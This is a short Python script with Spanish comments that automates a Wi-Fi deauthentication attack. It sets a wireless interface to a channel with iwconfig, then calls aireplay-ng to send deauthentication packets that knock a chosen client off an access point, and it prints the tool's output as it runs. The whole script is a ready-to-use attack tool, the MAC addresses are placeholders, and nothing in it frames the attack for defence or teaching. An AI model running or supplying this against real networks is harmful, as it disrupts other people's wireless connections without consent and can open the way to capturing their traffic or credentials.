1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 |
import subprocess import time # Cambiar el canal donde está el punto de acceso def cambiar_canal(interface, canal): comando_canal = f"iwconfig {interface} channel {canal}" try: resultado = subprocess.run(comando_canal, shell=True, capture_output=True, text=True) if resultado.returncode == 0: print(f"Cambiado al canal {canal} en la interfaz {interface}.") else: print(f"Error al cambiar de canal: {resultado.stderr}") except Exception as e: print(f"Error ejecutando el comando: {e}") # Enviar paquetes de desasociación a un cliente con salida en tiempo real def enviar_paquetes_deauth(cantidad_paquetes, mac_ap, mac_cliente, interface): comando_deauth = f"aireplay-ng -0 {cantidad_paquetes} -a {mac_ap} -c {mac_cliente} {interface}" try: proceso = subprocess.Popen(comando_deauth, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) # Mostrar la salida en tiempo real for linea in proceso.stdout: print(linea, end="") proceso.wait() # Esperar a que el proceso termine # Verificar si hubo errores if proceso.returncode == 0: print(f"Paquetes de desasociación enviados correctamente.") else: print(f"Error al enviar paquetes de desasociación.") errores = proceso.stderr.read() if errores: print(errores) except Exception as e: print(f"Error ejecutando el comando: {e}") # Parámetros actualizados interface = "wlp2s0b1" canal = 13 cantidad_paquetes = 10 mac_ap = "aa:aa:aa:aa:aa:aa" mac_cliente = "aa:aa:aa:aa:aa:aa" # Cambiar al canal proporcionado en la interfaz cambiar_canal(interface, canal) # Esperar 5 segundos time.sleep(5) # Enviar paquetes de desasociación enviar_paquetes_deauth(cantidad_paquetes, mac_ap, mac_cliente, interface) |